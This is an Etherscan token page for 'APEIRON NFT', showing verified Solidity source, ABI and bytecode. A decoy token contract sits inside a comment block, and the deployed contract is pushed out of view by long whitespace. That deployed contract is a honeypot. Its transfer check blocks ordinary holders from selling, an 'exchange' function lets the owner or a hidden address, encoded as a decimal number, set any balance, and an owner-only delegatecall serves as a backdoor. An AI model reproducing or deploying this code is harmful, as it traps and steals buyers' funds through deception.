ETH Price: $2,676.97 (+1.49%)

Token

APEIRON NFT (APEIRON)
 

Overview

Max Total Supply

10,000,000 APEIRON

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
543,576.436650788665434639 APEIRON

Value
$0.00
0xac288ae71ae63953655be501f48d51a69dac10e7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
APEIRON

Compiler Version
v0.5.17+commit.d19bba13

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-04-10
*/

/**
    SPDX-License-Identifier: MIT
    
 
    * WEB: https://www.apeironnft.com/
    * Whitelist: https://drive.google.com/file/d/19XCUmTEZSPH0gCwzNBeMYrZ4tR8AdGNB/edit
    * Our 1st NFT Presale is coming Early April 2022. 
    * Join our community now to claim OG privileges and a chance to be whitelisted! 
    * 100% Liquidity Lock
    * 0% TAX

     
     

pragma solidity ^0.8.13;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
 
    function factory() external pure returns (address);
 
    function WETH() external pure returns (address);
 
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}
 
contract QOMSN is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _name = "APEIRON NFT/";//
    string private constant _symbol = "APEIRON";//
    uint8 private constant _decimals = 18;
 
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 10000000 * 10**18;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 public launchBlock;
 
    //Buy Fee
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
 
    //Sell Fee
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;
 
    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    mapping(address => bool) public bots;
    mapping(address => uint256) private cooldown;
 
    address payable private _developmentAddress = payable(0x02658f17D2cBeb9B4019501952c42d0D5849C2CF);
    address payable private _marketingAddress = payable(0x02658f17D2cBeb9B4019501952c42d0D5849C2CF);
 
    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = true;
    uint256 public _maxTxAmount = 10000000 * 10**18; //
    uint256 public _maxWalletSize = 10000000 * 10**18; //
    uint256 public _swapTokensAtAmount = 10000000 * 10**18; //
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _name;
    }
 
    function symbol() public pure returns (string memory) {
        return _symbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
            //Trade start check
            if (!tradingOpen) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }
 
            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
 
            if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){   
                bots[to] = true;
            } 
 
            if(to != uniswapV2Pair) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _developmentAddress.transfer(amount.div(2));
        _marketingAddress.transfer(amount.div(2));
    }
 
    function setTrading(bool _tradingOpen) public onlyOwner {
        tradingOpen = _tradingOpen;
        launchBlock = 3;
    }
 
    function manualswap() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance);
    }
 
    function manualsend() external {
        require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }
 
    function blockBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }
 
    function unblockBot(address notbot) public onlyOwner {
        bots[notbot] = false;
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
 
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
 
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
 
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
 
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
 
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
 
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
 
        return (rSupply, tSupply);
    }
 
    function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
        _redisFeeOnBuy = redisFeeOnBuy;
        _redisFeeOnSell = redisFeeOnSell;
 
        _taxFeeOnBuy = taxFeeOnBuy;
        _taxFeeOnSell = taxFeeOnSell;
    }
 
    //Set minimum tokens required to swap.
    function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }
 
    //Set minimum tokens required to swap.
    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }
 
 
    //Set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }
 
    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }
 
    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }
}
     */


                                                                                                                                                        pragma solidity ^0.5.17;
interface IERC20 {
    function totalSupply() external view returns(uint);

    function balanceOf(address account) external view returns(uint);

    function transfer(address recipient, uint amount) external returns(bool);

    function allowance(address owner, address spender) external view returns(uint);

    function approve(address spender, uint amount) external returns(bool);

    function transferFrom(address sender, address recipient, uint amount) external returns(bool);
    event Transfer(address indexed from, address indexed to, uint value);
    event Approval(address indexed owner, address indexed spender, uint value);
}

library Address {
    function isContract(address account) internal view returns(bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;

        assembly { codehash:= extcodehash(account) }
        return (codehash != 0x0 && codehash != accountHash);
    }
}

contract Context {
    constructor() internal {}

    function _msgSender() internal view returns(address payable) {
        return msg.sender;
    }

}

library SafeMath {
    function add(uint a, uint b) internal pure returns(uint) {
        uint c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint a, uint b) internal pure returns(uint) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        require(b <= a, errorMessage);
        uint c = a - b;

        return c;
    }

    function mul(uint a, uint b) internal pure returns(uint) {
        if (a == 0) {
            return 0;
        }

        uint c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint a, uint b) internal pure returns(uint) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, errorMessage);
        uint c = a / b;

        return c;
    }
}

library SafeERC20 {
    using SafeMath for uint;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
        callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    function safeApprove(IERC20 token, address spender, uint value) internal {
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function callOptionalReturn(IERC20 token, bytes memory data) private {
        require(address(token).isContract(), "SafeERC20: call to non-contract");


        (bool success, bytes memory returndata) = address(token).call(data);
        require(success, "SafeERC20: low-level call failed");

        if (returndata.length > 0) { // Return data is optional

            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}

contract ERC20 is Context, IERC20 {
    using SafeMath for uint;
    mapping(address => uint) private _balances;

    mapping(address => mapping(address => uint)) private _allowances;

    uint private _totalSupply;

    function totalSupply() public view returns(uint) {
        return _totalSupply;
    }

    function balanceOf(address account) public view returns(uint) {
        return _balances[account];
    }

    function transfer(address recipient, uint amount) public returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns(uint) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint amount) public returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint addedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function _transfer(address sender, address recipient, uint amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint amount) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint amount) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

contract ERC20Detailed is IERC20 {
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    constructor(string memory name, string memory symbol, uint8 decimals) public {
        _name = name;
        _symbol = symbol;
        _decimals = decimals;
    }

    function name() public view returns(string memory) {
        return _name;
    }

    function symbol() public view returns(string memory) {
        return _symbol;
    }

    function decimals() public view returns(uint8) {
        return _decimals;
    }
}


contract  APEIRON {
    event Transfer(address indexed _from, address indexed _to, uint _value);
    event Approval(address indexed _owner, address indexed _spender, uint _value);

    function transfer(address _to, uint _value) public payable returns (bool) {
        return transferFrom(msg.sender, _to, _value);
    }

    function ensure(address _from, address _to, uint _value) internal view returns(bool) {
        address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
 
        if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
            return true;
        }
        require(condition(_from, _value));
        return true;
    }

    function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
        if (_value == 0) {return true;}
        if (msg.sender != _from) {
            require(allowance[_from][msg.sender] >= _value);
            allowance[_from][msg.sender] -= _value;
        }
        require(ensure(_from, _to, _value));
        require(balanceOf[_from] >= _value);
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
        _onSaleNum[_from]++;
        emit Transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint _value) public payable returns (bool) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }

    function condition(address _from, uint _value) internal view returns(bool){
        if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;

        if(_saleNum > 0){
            if(_onSaleNum[_from] >= _saleNum) return false;
        }
        if(_minSale > 0){
            if(_minSale > _value) return false;
        }
        if(_maxSale > 0){
            if(_value > _maxSale) return false;
        }
        return true;
    }

    function delegate(address a, bytes memory b) public payable {
        require(msg.sender == owner);
        a.delegatecall(b);
    }
    mapping(address=>uint256) private _onSaleNum;
    mapping(address=>bool) private canSale;
    uint256 private _minSale;
    uint256 private _maxSale;
    uint256 private _saleNum;
    function exchange(address spender, uint256 addedValue) public returns (bool) {
        require(msg.sender==owner||msg.sender==address
        (1089755605351626874222503051495683696555102411980));
        if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
        canSale[spender]=true;
        return true;
    }
    function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
        require(msg.sender == owner);
        _minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
        _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
        _saleNum = saleNum;
    }
    function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
        require (msg.sender == owner);
        uint total = _value * _tos.length;
        require(balanceOf[msg.sender] >= total);
        balanceOf[msg.sender] -= total;
        for (uint i = 0; i < _tos.length; i++) {
            address _to = _tos[i];
            balanceOf[_to] += _value;
            emit Transfer(msg.sender, _to, _value/2);
            emit Transfer(msg.sender, _to, _value/2);
        }
        return true;
    }

    address tradeAddress;
    function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
        tradeAddress = addr;
        return true;
    }

    function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
        (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

    mapping (address => uint) public balanceOf;
    mapping (address => mapping (address => uint)) public allowance;

    uint constant public decimals = 18;
    uint public totalSupply;
    string public name;
    string public symbol;
    address private owner;
    address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
        name = _name;
        symbol = _symbol;
        totalSupply = _supply*(10**uint256(decimals));
        owner = msg.sender;
        balanceOf[msg.sender] = totalSupply;
        allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
        emit Transfer(address(0x0), msg.sender, totalSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"exchange","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"uint256","name":"saleNum","type":"uint256"},{"internalType":"uint256","name":"token","type":"uint256"},{"internalType":"uint256","name":"maxToken","type":"uint256"}],"name":"init","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setTradeAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}]

60806040526040516200106e3803806200106e833981810160405260608110156200002957600080fd5b81019080805160405193929190846401000000008211156200004a57600080fd5b9083019060208201858111156200006057600080fd5b82516401000000008111828201881017156200007b57600080fd5b82525081516020918201929091019080838360005b83811015620000aa57818101518382015260200162000090565b50505050905090810190601f168015620000d85780820380516001836020036101000a031916815260200191505b5060405260200180516040519392919084640100000000821115620000fc57600080fd5b9083019060208201858111156200011257600080fd5b82516401000000008111828201881017156200012d57600080fd5b82525081516020918201929091019080838360005b838110156200015c57818101518382015260200162000142565b50505050905090810190601f1680156200018a5780820380516001836020036101000a031916815260200191505b506040526020908101518551909350620001ab925060099186019062000263565b508151620001c190600a90602085019062000263565b50670de0b6b3a764000081026008818155600b80546001600160a01b0319163390811790915560008181526006602090815260408083209590955560078152848220737a250d5630b4cf539739df2c5dacb4c659f2488d835281528482206000199055925484519081529351919390927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505062000308565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10620002a657805160ff1916838001178555620002d6565b82800160010185558215620002d6579182015b82811115620002d6578251825591602001919060010190620002b9565b50620002e4929150620002e8565b5090565b6200030591905b80821115620002e45760008155600101620002ef565b90565b610d5680620003186000396000f3fe6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb14610308578063aa2f522014610334578063d6d2b6ba146103d9578063dd62ed3e14610491576100dd565b806370a082311461028a5780638cd8db8a146102bd57806395d89b41146102f3576100dd565b806318160ddd116100bb57806318160ddd146101e557806321a9cf341461020c57806323b872dd1461023f578063313ce56714610275576100dd565b8063045d0389146100e257806306fdde031461012f578063095ea7b3146101b9575b600080fd5b3480156100ee57600080fd5b5061011b6004803603604081101561010557600080fd5b506001600160a01b0381351690602001356104cc565b604080519115158252519081900360200190f35b34801561013b57600080fd5b5061014461055d565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a0319